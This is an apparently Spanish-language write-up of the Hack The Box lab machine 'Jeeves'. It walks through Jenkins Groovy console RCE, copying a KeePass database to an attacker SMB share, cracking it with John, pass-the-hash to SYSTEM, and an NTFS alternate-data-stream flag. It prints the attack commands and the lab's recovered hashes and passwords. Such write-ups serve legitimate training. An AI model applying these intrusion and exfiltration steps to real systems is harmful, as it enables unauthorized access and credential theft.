Resumen

Jeeves es una máquina Windows que requiere enumerar servicios web no estándar. El punto de entrada es una instancia de Jenkins mal configurada que permite ejecución de código remota (RCE) a través de la consola de scripts de Groovy. La escalada de privilegios implica la exfiltración y el craqueo de una base de datos de KeePass (.kdbx). Finalmente, el acceso a la flag de root presenta un reto que no había visto nunca: está oculta utilizando Alternate Data Streams (ADS) de NTFS, lo que requiere conocimiento sobre cómo Windows gestiona los metadatos de archivos.

Imagen del post

Enumeración

Comenzamos con un escaneo de puertos para identificar servicios expuestos.

PORT      STATE SERVICE      REASON          VERSION
80/tcp    open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Ask Jeeves
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
445/tcp   open  microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         syn-ack ttl 127 Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 5h00m03s, deviation: 0s, median: 5h00m02s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 33742/tcp): CLEAN (Timeout)
|   Check 2 (port 23387/tcp): CLEAN (Timeout)
|   Check 3 (port 64279/udp): CLEAN (Timeout)
|   Check 4 (port 23548/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2026-01-20T20:14:36
|_  start_date: 2026-01-20T20:09:27

Tenemos dos puertos web principales:

  • Puerto 80 (IIS): Muestra una página de búsqueda “Ask Jeeves” que da error al intentar buscar.

Imagen del post

Imagen del post

  • Puerto 50000 (Jetty): Muestra un error 404 por defecto.

Imagen del post

Este error indica que hay un servidor web ejecutándose en tu puerto 50000, pero no hay ninguna página o contenido configurado en la raíz (/).

Realizamos Fuzzing de directorios en ambos puertos. El puerto 50000 no arroja resultados, pero el puerto 80 revela algo interesante.

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.79.44:50000/FUZZ ---- NO ENCONTRAMOS NADA

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.79.44/FUZZ ---- askjeeves               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 54ms]

Acceso Inicial (Jenkins)

Al acceder a http://10.129.79.44/askjeeves, encontramos un servidor de automatización Jenkins (versión 2.87).

Imagen del post

Explotación de Groovy Script Console

No se requieren credenciales. Podemos acceder a Manage Jenkins -> Script Console. Esta consola permite ejecutar scripts en Groovy, lo cual equivale a ejecución de comandos en el sistema.

Probamos una Reverse Shell en Groovy:

Imagen del post

Imagen del post

Conseguimos acceso como el usuario: jeeves\kohsuke.

Enumeramos buscando la user flag que la encontramos en el directorio ‘Desktop’ de este mismo usuario.

Enumerando el sistema de archivos de kohsuke, encontramos un archivo interesante en el directorio ‘Documents’:

Imagen del post

La extensión .kdbx pertenece a KeePass, que es un gestor de contraseñas de código abierto.

Post-Explotación y Movimiento Lateral

Exfiltración con SMBServer

Levantamos un servidor SMB en Kali y copiamos el archivo desde la máquina víctima.

En Kali (Atacante):

sudo impacket-smbserver share -smb2support /home/kali//Desktop/HTB/Jeeves/loot/share

...

[*] User JEEVES\kohsuke authenticated successfully
[*] kohsuke::JEEVES:aaaaaaaaaaaaaaaa:7507b33e1ec7eb5636215c53f6838840:0101000000000000003f85a8258adc014b20a5279bb7f11d000000000100100046006d0075004f006f00700048006e000300100046006d0075004f006f00700048006e000200100077004b007800780061005600580068000400100077004b0078007800610056005800680007000800003f85a8258adc0106000400020000000800300030000000000000000000000000300000d25ba4cb43338289e6e027ea75d7d00fae7f01ff23696236086241c02e9b50070a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e0034003400000000000000000000000000
[*] Connecting Share(1:share)


En Windows (Víctima):

C:\Users\kohsuke\Documents>copy CEH.kdbx \\10.10.15.44\share\
copy CEH.kdbx \\10.10.15.44\share\
        1 file(s) copied.

Cracking KeePass

Primero extraemos el hash del archivo .kdbx y luego lo crackeamos con John the Ripper.

Imagen del post

john --format=keepass keepass.hash -w=/usr/share/wordlists/seclists/rockyou.txt 

Loaded 1 password hash (KeePass [SHA256 AES 32/64])

moonshine1       (CEH)

Inspección de Credenciales (Kpcli)

Usamos kpcli para abrir la base de datos con la contraseña obtenida.

Imagen del post

Podemos ver las credenciales.

Imagen del post

Si las copiamos las tenemos en el copiapapeles.

kpcli:/CEH> show 0

Title: Backup stuff
Uname: ?
 Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
  URL: 
Notes: 

kpcli:/CEH> show -p 4
Unknown option: p

Title: It's a secret
Uname: admin
 Pass: F7WhTrSFDKB6sxHU1cUn
  URL: http://localhost:8180/secret.jsp
Notes: 

Title: Keys to the kingdom
Uname: bob
 Pass: lCEUnYPjNfIuPZSzOySA
  URL: 
Notes:

Escalada de Privilegios (Pass The Hash)

El hash encontrado en “Backup stuff” es un hash NTLM. Podemos usar la técnica Pass The Hash (PtH) para autenticarnos como Administrador sin saber la contraseña en texto claro.

Imagen del post

¡Éxito! Obtenemos una shell como nt authority\system.

Imagen del post

Pues parece que no hemos acabado …

El “Rabbit Hole” de la Root Flag (ADS)

Al ir al directorio del Administrador (C:\Users\Administrator\Desktop), encontramos un archivo hm.txt pero no está la flag root.txt.

Al leer hm.txt, nos da una pista sobre “mirar más profundo”. Esto hace referencia a los Alternate Data Streams (ADS) de NTFS.

Concepto: ADS
En NTFS, un archivo puede tener múltiples flujos de datos adjuntos. El flujo principal es $DATA, pero se pueden ocultar datos detrás del archivo principal, invisibles para un dir normal o el explorador de Windows.

Imagen del post


¿Cómo funcionan los ADS?

En un sistema NTFS, un archivo se identifica por el formato nombre_archivo:nombre_stream.

  • Flujo estándar: Cuando abres archivo.txt, en realidad estás abriendo archivo.txt:$DATA.
  • Flujo alternativo: Puedes crear algo como archivo.txt:secreto.txt.

Leer el contenido del flujo oculto

No se puede usar type directamente sobre el stream. usamos el comando more :

more < hm.txt:root.txt

Ahora si conseguimos la root flag!